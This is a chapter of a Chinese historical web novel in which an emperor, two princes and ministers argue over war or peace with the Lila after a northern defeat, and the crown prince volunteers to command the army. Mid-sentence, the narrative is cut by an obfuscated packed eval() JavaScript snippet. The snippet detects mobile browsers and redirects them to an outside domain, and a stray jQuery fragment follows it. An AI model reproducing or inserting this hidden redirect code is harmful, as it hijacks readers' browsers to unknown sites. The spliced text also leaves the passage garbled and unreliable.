两个月后，力剌进犯辽北。


    因靖国公景皑与世子景思安滞留京城，辽北无人指挥应战，靖公军节节败退。并且力剌此次势头强劲，一改往日进攻思路，直指靖公军藏在北阴山的粮马道，切断了靖公军的补给线，重创辽北。


    皇帝的书房内，灯火通明。


    萧沃、萧回、温如璋、海益、以及新进内阁的吏部尚书郑珀、兵部尚书孔塬围在皇帝身旁，景皑、景思安父子跪在殿内，垂着头一言不发。


    “十日之内，连失两城，力剌人屠城，死伤百姓七万人。”皇帝摩挲着玉扳指，斜眼睥睨景皑父子，“好啊，干得漂亮。”


    景思安身体微颤，刚想争辩就被景皑拉到了自己身后，景皑磕了个响头，恳切道：“陛下，臣知罪。”


    “朕不过是让你多在京中留了几日，辽北就败了。”皇帝倒吸一口凉气，“你是想告诉朕，辽北没你景皑，就不行了吗？十万靖公军，没你一个，就打不了仗了，对吗？”


    景皑道：“是臣没能安排好。”


    “陛下，军不可一日无主帅。”萧沃眉头紧蹙，“现在不是算账的时候，应该尽快命靖国公父子北上，及时止损。”


    景皑说：“臣愿戴罪立功！”


    皇帝不语，端起茶杯抿了一口。


    景皑继续说：“从京城到辽北，快马只需三日。臣请即刻北上，亲率八千精骑，七日内夺回北阴山粮马道！”


    皇帝的拇指不停擦过茶杯边缘，盯着沙盘眉头紧皱。


    萧沃看一眼景皑，对皇帝说：“陛下，此刻晚一时发兵，辽北就有无数百姓枉死。不可再迟了。”


    皇帝眼皮低垂如老僧入定，只有摩擦茶盏边缘的手在缓缓移动。


    景皑知道，这是皇帝在给自己机会，他继续说：“北阴山为东南-西北走向，这七日内，臣会集中火力猛攻粮马道东部，而南北有山阻挡，力剌人必定会退至西北野狼谷。臣会让景思安经由鹰州小渡口，携一千人到此埋伏，从而切断力剌人的退路。”


    景思安补充道：“陛下，父亲说得有理。力剌人不清楚辽北地形，他们不知，天辽江支流会在鹰州向东北拐弯，四年前，父亲建了小渡口，我们恰好可以在此绕到敌后。臣与父亲南北夹击力剌人，恰好可成‘围三缺一’之势，诱敌入瓮。”


    皇帝看向景皑父子，喉头滚动。


    景皑道：“辽北三十万百姓……不能成为力剌人的刀下亡魂。臣恳请陛下给臣一个赎罪的机会！”


    景皑与景思安重重地磕了一个响头。


    皇帝看向身后的萧沃：“太子，你怎么看？”


    萧沃也跪下，求道：“臣愿为监军，随靖国公北上。”


    “七日内，臣若夺不回粮马道，臣便听凭太子殿下处置——以死谢罪！”景皑与景思安磕头。


    烛心“噼啪”作响，皇帝的瞳仁骤然紧缩，把茶盏使劲磕在沙盘边缘，道：“好一个军令状！”


    萧回不咸不淡地来了一句：“粮道已毁，夺回残骸何用？靖公军吃了这么大一场败仗，父皇，若还把兵权交予景家，辽北七万冤魂该如何瞑目？剩下的辽北遗民，何时才能等到战事平息？”


    “临阵换将是为大忌！”如今的内阁首辅温如璋说，“靖国公驻守辽北二十年，靖公军上下一心，此刻再调其他武将去辽北，那才是把辽北百姓架在火上烤！”


    “上下一心？”萧回饶有兴致地说，“温阁老的意思，是靖公军只效忠靖国公一人了？这辽北，是姓景，还是姓萧？！”


    温如璋怒道：“你——诛心之论！此时挑拨离间，屹王殿下，你意欲何为！”


    “本王只是想提醒靖国公，靖公军不是你景家的府兵。”萧回看了一眼身旁的萧沃，讥诮地勾了勾唇角，“你能夺回粮马道还则罢了，若输了呢？杀光你们景家人，辽北死的百姓，就能活过来吗？丢的城池土地，就能拿回来吗？！别拉着整个朝廷陪你们赌！”


    温如璋气得直跺脚：“殿下，您也是武将，很多兵家大忌都不用旁人来说！若力剌进犯的是西北，老臣不信您还能说出这种话！”


    萧回说：“事实是力剌选择的是辽北，潼裕安然无恙！温阁老，说那没味的话有意思吗？”


    温如璋对皇帝说：“昔年李牧守赵，君臣相疑而邯郸沦丧！陛下，切以史为鉴，万不可重蹈覆辙！”


    “够了！”皇帝瞪了一眼温如璋，“吵了那么久，吵出个办法来了吗？！”


    萧回对皇帝说：“依儿臣看，辽北一败涂地，已经错失突围良机。即便让靖国公北上，也来不及了。”


    皇帝问：“那该当如何？”


    “议和。”萧回肃声道，“死了那么多人，百姓已然承受不住新一轮战事。粮马道已毁，靖公军苦战，又能战到何时？北方夏短，兵士挨得过冬天吗？百姓又挨得过冬天吗？我们何不与力剌议和？”


    温如璋急忙回道：“不打了？！我朝养了那么多兵，死了那么多百姓，不打了？”


    “是暂时议和，又不是一直不打了！”萧回怼道，“先把这段时间挺过去，养精蓄锐！等新的粮马道建好了，再谈开战又不迟！”


    海益说：“旧的粮马道已然暴露，不可再用。重建一条新粮道，从选址到建成，要一年时间。”


    萧回说道：“父皇，力剌王庭内斗已久，虽然力剌可汗主战，但其叔父左贤王一向主张与我朝议和。和约一旦敲定，至少能休战五年！这段时间，足够我们加固边防，何乐而不为？”


    皇帝眯起了眼睛。


    萧沃反问萧回：“屹王可知力剌要价？前朝王庭与蛮夷议和，今日割五城，明日丢十城，终至国将不国！如今我们还要议和，力剌提什么要求都答应，底线在哪，退路又在哪？”


    “跪着求来的和平……”温如璋反问萧回，“力剌那种野蛮人，难道会遵守和约？”


    萧回：“这是议和，不是求和，一切都好商量！”


    萧沃失望地说：“求和、议和，不过一字之差，有何分别？”


    “议和……”皇帝看向萧回，轻声说“力剌人虽反复无常，但只要能坚持到辽北粮马道重新建成……倒也——”


    “陛下，臣也觉得，此时议和，胜过顽抗。”孔塬说，“辽北兵败，士气不振，确实不宜开战。此刻议和，还能与力剌谈条件，若再晚几天，辽北败得无回天之力，那我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551259|183179||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们便真成了俎上鱼肉——任人宰割。”


    景皑以膝盖为足，挪向皇帝：“陛下……求您再给臣一次机会……以退求和，不可啊！”


    皇帝假装没听到景皑说话似的。


    萧回颇为得意地瞥一眼萧沃：“儿臣以为，此时应派出嫡公主和亲，彰显我朝和亲决心，定能与力剌结为秦晋之好。儿臣愿为使臣，与力剌商讨停战事宜。”


    景思安声音沙哑：“陛下，不可！这是资敌啊！”


    皇帝拂袖打落茶盏，碎瓷片落在了萧沃膝盖边缘。


    皇帝指着景皑的鼻子：“你这好儿子，是嫌辽北的血流得不够多吗？”


    “和亲如果有用，前朝给蛮夷送了十多位公主，为何还落个亡国的结局？”萧沃泄了口气，“泊舟，陛下膝下仅有一位昌宁公主，她是你的胞妹，你竟忍心让她去跟蛮夷和亲！”


    萧回抬高了声音：“为了大燕百姓，我别无选择！”


    “以退为和，前朝因此灭亡，我们还要重蹈覆辙吗？”萧沃咬牙道，“陛下，靠一个女人，靠一桩婚姻，换两国和平——世上没这么便宜的事。唯有筑国防，唯有以战止战，两国才有和平可谈！”


    温如璋跪下，说：“陛下！户部尚可支撑辽北战事！”


    皇帝再次沉默。


    萧回说：“太子殿下——还要臣说多少遍，和亲只是权宜之计，又不是永远不打了……”


    “一步退，结果就是步步退。”萧沃直接打断了萧回，义正言辞，“只有一步不退，才可让蛮夷正视大燕，此战方有转机。”


    萧回冷笑。


    萧沃知道，皇帝迟迟不肯让景皑景思安离京北上，是为忌惮。景皑驻守辽北二十年，没打过一场败仗，辽北人识景不识萧，逐渐与上京离心。


    皇帝倾向于萧回孔塬等“主和派”，实际也是想借和亲，削弱景家势力、逐渐收回辽北兵权。


    但大燕不能退。这场仗，必须要打下去。


    不仅是为了一时的和平，更是为了大燕千秋万代的和平，他们半步都不能退。


    “陛下，辽北战败，靖国公难辞其咎。”萧沃深吸一口气，“臣以为，靖国公景皑，不宜再为靖公军主帅。”


    皇帝一听，直接站了起来。景皑、景思安大惊失色。


    温如璋小声道：“太子殿下……”


    “即日起，靖国公当交出兵符，闭府思过。”萧沃肃声道，“然为大燕江山稳固，辽北不可停战。臣愿为君出征，驻守辽北，不破……不还。”


    温如璋急道：“太子殿下，您为储君，怎可——”


    “臣为储君，当为君父、为百姓守国门。”萧沃叩头，“臣望陛下恩准。”


    皇帝愣了片刻，竟笑了出来。


    由萧沃当这个主帅，确是再好不过了。


    靖公军唯景家马首是瞻，而萧沃身上有一半景家的血脉，必定会对萧沃俯首称臣。


    当然，萧沃又是储君，这场仗若赢了，就能将景家兵权尽数收回。若输了，抑或他战死沙场，刚好可以易储。


    “太子大义，不愧吾儿。”皇帝笑道，“准了！”


    萧沃叩头：“谢陛下！”